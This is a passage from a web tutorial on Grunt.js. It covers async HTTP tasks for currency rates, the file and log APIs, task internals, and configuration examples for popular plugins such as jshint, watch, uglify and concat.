<h2 id="Example-Forex-and-grunt-multiple-async-calls-handling"><a href="#Example-Forex-and-grunt-multiple-async-calls-handling" class="headerlink" title="Example: Forex and grunt multiple async calls handling"></a>Example: Forex and grunt multiple async calls handling</h2><p>The idea is get conversion rates from a base currency (e.g. USD) to a target currency (e.g. EUR). We are using a <code>registerMultiTask</code>, so the taskName ‘currency’ matches its property in the <code>config.init</code>. Notice that we can has additional arbitrary data such as endpoint URL.</p>
<p>Async calls can be a little tricky in Javascript. We are going to do multiple HTTP request. Since <code>http.get</code> is async Grunt will finish the task before even receiving any response. <code>this.async()</code> solves the issue, we just need to call it when we are done.</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = <span class="function"><span class="keyword">function</span>(<span class="params">grunt</span>)</span>&#123;</span><br><span class="line">  grunt.config.init(&#123;</span><br><span class="line">    currency: &#123;</span><br><span class="line">      USD: [<span class="string">&#x27;EUR&#x27;</span>, <span class="string">&#x27;GBP&#x27;</span>, <span class="string">&#x27;DOP&#x27;</span>],</span><br><span class="line">      DOP: [<span class="string">&#x27;USD&#x27;</span>]</span><br><span class="line">    &#125;,</span><br><span class="line"></span><br><span class="line">    endpoint: &#123;</span><br><span class="line">      host: <span class="string">&#x27;http://www.freecurrencyconverter3api.com&#x27;</span>,</span><br><span class="line">      path: <span class="string">&#x27;/api/v2/convert?compact=y&amp;q=&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  grunt.registerMultiTask(<span class="string">&#x27;currency&#x27;</span>, <span class="string">&#x27;Fetches currency exchange rates&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">var</span> http = <span class="built_in">require</span>(<span class="string">&#x27;http&#x27;</span>),</span><br><span class="line">      done = <span class="built_in">this</span>.async(),</span><br><span class="line">      responses = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> baseCurrency = <span class="built_in">this</span>.target;</span><br><span class="line">    <span class="keyword">var</span> targetCurrencies = <span class="built_in">this</span>.data;</span><br><span class="line"></span><br><span class="line">    grunt.config.requires(<span class="string">&#x27;endpoint&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    targetCurrencies.forEach(<span class="function"><span class="keyword">function</span>(<span class="params">targetCurrency, i, arr</span>)</span>&#123;</span><br><span class="line">      <span class="keyword">var</span> convertTo = baseCurrency + <span class="string">&#x27;_&#x27;</span> + targetCurrency,</span><br><span class="line">        body = [];</span><br><span class="line">        url = grunt.config.get(<span class="string">&#x27;endpoint.host&#x27;</span>);</span><br><span class="line"></span><br><span class="line">      url += grunt.config.get(<span class="string">&#x27;endpoint.path&#x27;</span>) + convertTo;</span><br><span class="line"></span><br><span class="line">      http.get(url, <span class="function"><span class="keyword">function</span>(<span class="params">res</span>) </span>&#123;</span><br><span class="line">        res.on(<span class="string">&#x27;data&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">data</span>)</span>&#123;</span><br><span class="line">          body.push(data);</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        res.on(<span class="string">&#x27;end&#x27;</span>, <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">          <span class="keyword">var</span> conversion = <span class="built_in">JSON</span>.parse(body.join());</span><br><span class="line">          grunt.log.ok(baseCurrency + <span class="string">&#x27;/&#x27;</span> + targetCurrency + <span class="string">&#x27; =&gt; &#x27;</span> + conversion[convertTo].val);</span><br><span class="line">          <span class="comment">// if got all responses: done!</span></span><br><span class="line">          <span class="keyword">if</span>(responses++ == arr.length - <span class="number">1</span>)</span><br><span class="line">            done();</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;).on(<span class="string">&#x27;error&#x27;</span>, <span class="function"><span class="keyword">function</span> (<span class="params">err</span>) </span>&#123;</span><br><span class="line">        grunt.warn(<span class="string">&#x27;Please verify endpoint host and path: &lt;&#x27;</span>+ url +<span class="string">&#x27;&gt;. It might be incorrect or down.&#x27;</span>);</span><br><span class="line">        done(err);</span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<h2 id="Reference-2-Grunt-Files-and-logs"><a href="#Reference-2-Grunt-Files-and-logs" class="headerlink" title="Reference 2: Grunt Files and logs"></a>Reference 2: Grunt Files and logs</h2><h3 id="Grunt-logs"><a href="#Grunt-logs" class="headerlink" title="Grunt logs"></a>Grunt logs</h3><p>All them stars with the prefix <code>grunt.log</code> and accepts a <code>msg</code> which is displayed to STDOUT (usually the screen). Here are the differences between them:</p>
<ul>
<li><a href="http://gruntjs.com/api/grunt.log#grunt.log.writeln-grunt.verbose.writeln">writeln([msg]), write(msg) and subhead(msg)</a>: writes message to STDOUT. <code>grunt.log.writeln</code> will do the same as <code>grunt.log.write</code> but without trailing newline. <code>subhead(msg)</code> will print the message in bold and proceeded by a newline and a trailing newline as well.</li>
</ul>
<p>The following methods adds a “&gt;&gt;” before the message in the screen which could be of different colors depending on the method:</p>
<ul>
<li><code>grunt.log.error([msg])</code>: print message prefixed with a RED “&gt;&gt;”.</li>
<li><code>grunt.log.ok([msg])</code>: print message prefixed with a GREEN “&gt;&gt;”.</li>
</ul>
<h3 id="Grunt-files"><a href="#Grunt-files" class="headerlink" title="Grunt files"></a>Grunt files</h3><p><strong>Files</strong></p>
<p>All has an optional attributes <code>options</code> that could be <code>encoding</code> among others.</p>
<ul>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.write">grunt.file.write(filepath, contents [, options])</a>: writes contents to file, creates path if necessary.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.read">grunt.file.read(filepath [, options])</a>: returns file content.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.readjson">grunt.file.readJSON(filepath [, options])</a>: reads file content and parse it to JSON.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.delete">grunt.file.delete(filepath [, options])</a>: deletes files recursively.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.copy">grunt.file.copy(srcpath, destpath [, options])</a>: copy file from <code>srcpath</code> to <code>destpath</code>.</li>
</ul>
<p><strong>Directories</strong></p>
<ul>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.mkdir">grunt.file.mkdir(dirpath [, mode])</a>: creates directory and any intermediary. Like <code>mkdir -p</code>.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.expand">grunt.file.expand([options, ] patterns)</a>: returns an array with all the files matching a pattern. It can also accept and array of patterns. Preceding a patter with <code>!</code> will negate them. E.g. <code>[&#39;**/*.js&#39;, !**/*spec.js]</code> =&gt; get all javascript (including subdirectories) but NOT the ones that ends with spec.js.</li>
<li><a href="http://gruntjs.com/api/grunt.file#grunt.file.recurse">grunt.file.recurse(rootdir, callback)</a>: expand path and return a callback function with the following signature <code>callback(abspath, rootdir, subdir, filename)</code>.</li>
</ul>
<h2 id="Example-2-Gruntfile-for-files-manipulation"><a href="#Example-2-Gruntfile-for-files-manipulation" class="headerlink" title="Example 2: Gruntfile for files manipulation"></a>Example 2: Gruntfile for files manipulation</h2><p>GruntJS comes with built-in functions for basic <a href="https://github.com/gruntjs/grunt/blob/master/lib/grunt/file.js">file system handling</a>. To see the function in action. Create four directories: <code>stylesheets</code>, <code>javascripts</code>, <code>templates</code> and put files on first three. The idea is to concatenate all the files into one index.html and placed it a newly created <code>public</code> folder.</p>
<p>Here’s the grunt file that will copy and concatenate all the files for us:</p>
<figure class="highlight javascript"><figcaption><span>Gruntfile.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = <span class="function"><span class="keyword">function</span>(<span class="params">grunt</span>)</span>&#123;</span><br><span class="line">  grunt.config.init(&#123;</span><br><span class="line">    concat: &#123;</span><br><span class="line">      options: &#123;</span><br><span class="line">        dest: <span class="string">&#x27;tmp&#x27;</span>,</span><br><span class="line">        templates: [<span class="string">&#x27;templates/header.html&#x27;</span>, <span class="string">&#x27;templates/footer.html&#x27;</span>],</span><br><span class="line">        javascripts: [<span class="string">&#x27;javascripts/*.js&#x27;</span>],</span><br><span class="line">        stylesheets: [<span class="string">&#x27;stylesheets&#x27;</span>]</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">var</span> recursiveConcat = <span class="function"><span class="keyword">function</span>(<span class="params">source, result</span>)</span>&#123;</span><br><span class="line">    grunt.file.expand(source).forEach(<span class="function"><span class="keyword">function</span>(<span class="params">file</span>)</span>&#123;</span><br><span class="line">      <span class="keyword">if</span>(grunt.file.isDir(file))&#123;</span><br><span class="line">        grunt.file.recurse(file, <span class="function"><span class="keyword">function</span>(<span class="params">f</span>)</span>&#123;</span><br><span class="line">          result = recursiveConcat(f, result);</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        grunt.log.writeln(<span class="string">&#x27;Concatenating &#x27;</span> + file + <span class="string">&#x27; to other &#x27;</span> + result.length + <span class="string">&#x27; characters.&#x27;</span>);</span><br><span class="line">        result += grunt.file.read(file);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">  &#125;;</span><br><span class="line"></span><br><span class="line">  grunt.registerTask(<span class="string">&#x27;concat&#x27;</span>, <span class="string">&#x27;concatenates files&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">type</span>)</span>&#123;</span><br><span class="line">    grunt.config.requires(<span class="string">&#x27;concat.options.&#x27;</span> + type); <span class="comment">// fail the task if this propary is missing.</span></span><br><span class="line">    grunt.config.requires(<span class="string">&#x27;concat.options.dest&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> files = grunt.config.get(<span class="string">&#x27;concat.options.&#x27;</span> + type),</span><br><span class="line">      dest = grunt.config.get(<span class="string">&#x27;concat.options.dest&#x27;</span>),</span><br><span class="line">      concatenated = recursiveConcat(files, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    grunt.log.writeln(<span class="string">&#x27;Writing &#x27;</span> + concatenated.length + <span class="string">&#x27; chars to &#x27;</span> + <span class="string">&#x27;tmp/&#x27;</span> + type);</span><br><span class="line">    grunt.file.write(dest + <span class="string">&#x27;/&#x27;</span> + type, concatenated);</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  grunt.registerTask(<span class="string">&#x27;concatAll&#x27;</span>, [<span class="string">&#x27;concat:templates&#x27;</span>, <span class="string">&#x27;concat:javascripts&#x27;</span>, <span class="string">&#x27;concat:stylesheets&#x27;</span>]);</span><br><span class="line">  grunt.registerTask(<span class="string">&#x27;default&#x27;</span>, [<span class="string">&#x27;concatAll&#x27;</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>A more complete example can be found in the repository where we have the join and open function as well.</p>
<h3 id="Reference-3-Inside-Grunt-tasks"><a href="#Reference-3-Inside-Grunt-tasks" class="headerlink" title="Reference 3: Inside Grunt tasks"></a>Reference 3: Inside Grunt tasks</h3><p>Inside all Grunt task there are number of functions available through <code>this</code>:</p>
<ul>
<li><a href="http://gruntjs.com/inside-tasks#this.async">this.async</a>: designed for async tasks. Grunt will normally end the task without waiting for the callback to be executed. If you need Grunt to wait use <code>done()</code>.</li>
</ul>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> done = <span class="built_in">this</span>.async();</span><br><span class="line"></span><br><span class="line">http.get(<span class="string">&#x27;http://adrianmejia.com&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">res</span>)</span>&#123;</span><br><span class="line">  res.on(<span class="string">&#x27;data&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params">data</span>)</span>&#123;</span><br><span class="line">    <span class="comment">// ... process data ...</span></span><br><span class="line">    done(); <span class="comment">// forces Grunt to wait until data is received.</span></span><br><span class="line">  &#125;)</span><br><span class="line">&#125;).on(<span class="function"><span class="keyword">function</span>(<span class="params">err</span>)</span>&#123;</span><br><span class="line">  done(err); <span class="comment">// or an error is received.</span></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<ul>
<li><p><a href="http://gruntjs.com/inside-tasks#this.requires">this.requires</a>: list of taskNames that should executed successfully first. E.g. <code>this.requires([&#39;concat&#39;, &#39;jshint&#39;])</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.name">this.name</a>: this is the name of the task. E.g. <code>grunt hello</code>, then <code>this.name === &#39;name&#39;</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.args">this.args</a>: returns an array with the parameters. E.g. <code>grunt hello:crazy:world</code>, then <code>this.args</code> will return <code>[&#39;crazy&#39;, &#39;world&#39;]</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.options">this.options([defaultsObj])</a>: it gets options values from the <code>config.init</code>, optionally you can also pass an object containing the default values. Notice in the example below that even though console.log has a <code>this.options(&#123;gzip: true&#125;)</code> it gets override by the options parameters. If not one it is specified in the <code>config.init</code> then it will use the default gzip: true.</p>
</li>
</ul>
<p><strong>Inside MultiTasks</strong></p>
<p>Consider this <code>grunt.config.init</code> example:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = <span class="function"><span class="keyword">function</span>(<span class="params">grunt</span>)</span>&#123;</span><br><span class="line">  grunt.config.init(&#123;</span><br><span class="line">    multiTaskName: &#123;</span><br><span class="line">      options: &#123;</span><br><span class="line">        gzip: <span class="literal">false</span></span><br><span class="line">      &#125;,</span><br><span class="line">      target1: &#123;</span><br><span class="line">        src: <span class="string">&#x27;stylesheets/*.css&#x27;</span>,</span><br><span class="line">        dest: <span class="string">&#x27;public&#x27;</span>,</span><br><span class="line">        ext: <span class="string">&#x27;.min.css&#x27;</span></span><br><span class="line">      &#125;,</span><br><span class="line">      target2: &#123;</span><br><span class="line">        src: <span class="string">&#x27;*.js&#x27;</span>,</span><br><span class="line">        dest: <span class="string">&#x27;public&#x27;</span>,</span><br><span class="line">        ext: <span class="string">&#x27;.min.js&#x27;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  grunt.registerMultiTask(<span class="string">&#x27;multiTaskName&#x27;</span>, <span class="string">&#x27;example&#x27;</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">&#x27;this.options&#x27;</span>, <span class="built_in">this</span>.options(&#123;<span class="attr">gzip</span>: <span class="literal">true</span>&#125;));</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">&#x27;this.data&#x27;</span>, <span class="built_in">this</span>.data);</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">&#x27;this.files&#x27;</span>, <span class="built_in">this</span>.files);</span><br><span class="line">    <span class="built_in">console</span>.log(<span class="string">&#x27;this.filesSrc&#x27;</span>, <span class="built_in">this</span>.filesSrc);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<figure class="highlight bash"><figcaption><span>Output example</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">grunt multiTaskName</span><br><span class="line"><span class="comment">## Running &quot;multiTaskName:target1&quot; (multiTaskName) task</span></span><br><span class="line"><span class="comment">## this.options &#123; gzip: false &#125;</span></span><br><span class="line"><span class="comment">## this.data &#123; src: &#x27;stylesheets/*.css&#x27;, dest: &#x27;public&#x27;, ext: &#x27;.min.css&#x27; &#125;</span></span><br><span class="line"><span class="comment">## this.files [ &#123; src: [Getter],</span></span><br><span class="line"><span class="comment">##     dest: &#x27;public&#x27;,</span></span><br><span class="line"><span class="comment">##     ext: &#x27;.min.css&#x27;,</span></span><br><span class="line"><span class="comment">##     orig: &#123; src: [Object], dest: &#x27;public&#x27;, ext: &#x27;.min.css&#x27; &#125; &#125; ]</span></span><br><span class="line"><span class="comment">## this.filesSrc [ &#x27;stylesheets/h1.css&#x27;, &#x27;stylesheets/h2.css&#x27; ]</span></span><br><span class="line"><span class="comment">##</span></span><br><span class="line"><span class="comment">## Running &quot;multiTaskName:target2&quot; (multiTaskName) task</span></span><br><span class="line"><span class="comment">## this.options &#123; gzip: false &#125;</span></span><br><span class="line"><span class="comment">## this.data &#123; src: &#x27;*.js&#x27;, dest: &#x27;public&#x27;, ext: &#x27;.min.js&#x27; &#125;</span></span><br><span class="line"><span class="comment">## this.files [ &#123; src: [Getter],</span></span><br><span class="line"><span class="comment">##     dest: &#x27;public&#x27;,</span></span><br><span class="line"><span class="comment">##     ext: &#x27;.min.js&#x27;,</span></span><br><span class="line"><span class="comment">##     orig: &#123; src: [Object], dest: &#x27;public&#x27;, ext: &#x27;.min.js&#x27; &#125; &#125; ]</span></span><br><span class="line"><span class="comment">## this.filesSrc [ &#x27;Gruntfile.js&#x27; ]</span></span><br></pre></td></tr></table></figure>

<ul>
<li><p><a href="http://gruntjs.com/inside-tasks#this.target">this.target</a>: name of the target current target. If you call it <code>grunt multiTaskName</code>, it will run like multiple tasks calling each target one at a time. <code>this.target</code> will be equal to <code>target1</code> and then <code>target2</code>.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.files">this.files</a>: return a (single) array that has all the properties for the current target. Take a look the the output above.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.filessrc">this.filesSrc</a>: it expands files and paths against <code>src</code> and return an array with them.</p>
</li>
<li><p><a href="http://gruntjs.com/inside-tasks#this.data">this.data</a>: contains the raw data of the target parameters.</p>
</li>
</ul>
<h2 id="Intermediate-Using-Grunt-js-plugins"><a href="#Intermediate-Using-Grunt-js-plugins" class="headerlink" title="Intermediate: Using Grunt.js plugins"></a>Intermediate: Using Grunt.js plugins</h2><p>Chances are that there is a plugin for most of your needs. Last time I checked there were 3,638 plugins for grunt. This are the 10 most popular:</p>
<h3 id="Installing-a-grunt-plugin"><a href="#Installing-a-grunt-plugin" class="headerlink" title="Installing a grunt plugin"></a>Installing a grunt plugin</h3><p>Let’s say we want to install jshint.</p>
<ol>
<li>Get the plugin module</li>
</ol>
<p>Download it from npm:</p>
<p><code>npm install grunt-contrib-jshint --save-dev</code></p>
<p>or from github:</p>
<p><code>npm install https://github.com/YOUR_USERNAME/grunt-contrib-YOUR-PLUGIN --save-dev</code></p>
<ol start="2">
<li>Load it in your Gruntfile</li>
</ol>
<p><code>grunt.loadNpmTasks(&#39;grunt-contrib-jshint&#39;);</code></p>
<p>or</p>
<p><code>grunt.loadNpmTasks(&#39;grunt-contrib-YOUR-PLUGIN&#39;);</code></p>
<h3 id="10-most-popular-grunt-plugins"><a href="#10-most-popular-grunt-plugins" class="headerlink" title="10 most popular grunt plugins"></a>10 most popular grunt plugins</h3><p>1- <a href="https://github.com/gruntjs/grunt-contrib-jshint">jshint</a>: Validate files with JSHint. Uses <code>.jshintrc</code> to settings.</p>
<figure class="highlight javascript"><figcaption><span>.jshintrc (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;curly&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="string">&quot;eqnull&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="string">&quot;eqeqeq&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="string">&quot;undef&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="string">&quot;globals&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;jQuery&quot;</span>: <span class="literal">true</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>2- <a href="https://github.com/gruntjs/grunt-contrib-watch">watch</a>: Run predefined tasks whenever watched file patterns are added, changed or deleted. Spawn runs task in a child process but having set to <code>spawn: false</code> is faster.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">watch: &#123;</span><br><span class="line">  scripts: &#123;</span><br><span class="line">    files: [<span class="string">&#x27;**/*.js&#x27;</span>],</span><br><span class="line">    tasks: [<span class="string">&#x27;jshint&#x27;</span>],</span><br><span class="line">    options: &#123;</span><br><span class="line">      spawn: <span class="literal">false</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p>3- <a href="https://github.com/gruntjs/grunt-contrib-uglify">uglify</a>: minifies javascript files.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">uglify: &#123;</span><br><span class="line">  my_target: &#123;</span><br><span class="line">    files: &#123;</span><br><span class="line">      <span class="string">&#x27;dest/output.min.js&#x27;</span>: [<span class="string">&#x27;src/input1.js&#x27;</span>, <span class="string">&#x27;src/input2.js&#x27;</span>]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>4- <a href="https://github.com/gruntjs/grunt-contrib-clean">clean</a>: Clean files and folders.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">clean: &#123;</span><br><span class="line">  <span class="comment">// Deletes all .js files, but skips min.js files</span></span><br><span class="line">  js: [<span class="string">&quot;path/to/dir/*.js&quot;</span>, <span class="string">&quot;!path/to/dir/*.min.js&quot;</span>]</span><br><span class="line"></span><br><span class="line">  <span class="comment">// delete all files and directories here</span></span><br><span class="line">  build: [<span class="string">&quot;path/to/dir/one&quot;</span>, <span class="string">&quot;path/to/dir/two&quot;</span>],</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>5- <a href="https://github.com/gruntjs/grunt-contrib-concat">concat</a>: Concatenate files.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example simple)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">concat: &#123;</span><br><span class="line">  options: &#123;</span><br><span class="line">    separator: <span class="string">&#x27;;&#x27;</span>,</span><br><span class="line">  &#125;,</span><br><span class="line">  dist: &#123;</span><br><span class="line">    src: [<span class="string">&#x27;src/intro.js&#x27;</span>, <span class="string">&#x27;src/project.js&#x27;</span>, <span class="string">&#x27;src/outro.js&#x27;</span>],</span><br><span class="line">    dest: <span class="string">&#x27;dist/built.js&#x27;</span>,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight javascript"><figcaption><span>grunt.config.init (adding banners and multiple targets)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pkg: grunt.file.readJSON(<span class="string">&#x27;package.json&#x27;</span>),</span><br><span class="line">concat: &#123;</span><br><span class="line">  options: &#123;</span><br><span class="line">    stripBanners: <span class="literal">true</span>,</span><br><span class="line">    banner: <span class="string">&#x27;/*! &lt;%= pkg.name %&gt; - v&lt;%= pkg.version %&gt; - &#x27;</span> +</span><br><span class="line">      <span class="string">&#x27;&lt;%= grunt.template.today(&quot;yyyy-mm-dd&quot;) %&gt; */&#x27;</span>,</span><br><span class="line">  &#125;,</span><br><span class="line">  dist: &#123;</span><br><span class="line">    <span class="string">&#x27;dist/with_extras.js&#x27;</span>: [<span class="string">&#x27;src/main.js&#x27;</span>, <span class="string">&#x27;src/extras.js&#x27;</span>],</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;,</span><br></pre></td></tr></table></figure>

<p>6- <a href="https://github.com/gruntjs/grunt-contrib-cssmin">cssmin</a>: Compress CSS files.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cssmin: &#123;</span><br><span class="line">  combine: &#123;</span><br><span class="line">    files: &#123;</span><br><span class="line">      <span class="string">&#x27;path/to/output.css&#x27;</span>: [<span class="string">&#x27;path/to/input_one.css&#x27;</span>, <span class="string">&#x27;path/to/input_two.css&#x27;</span>]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

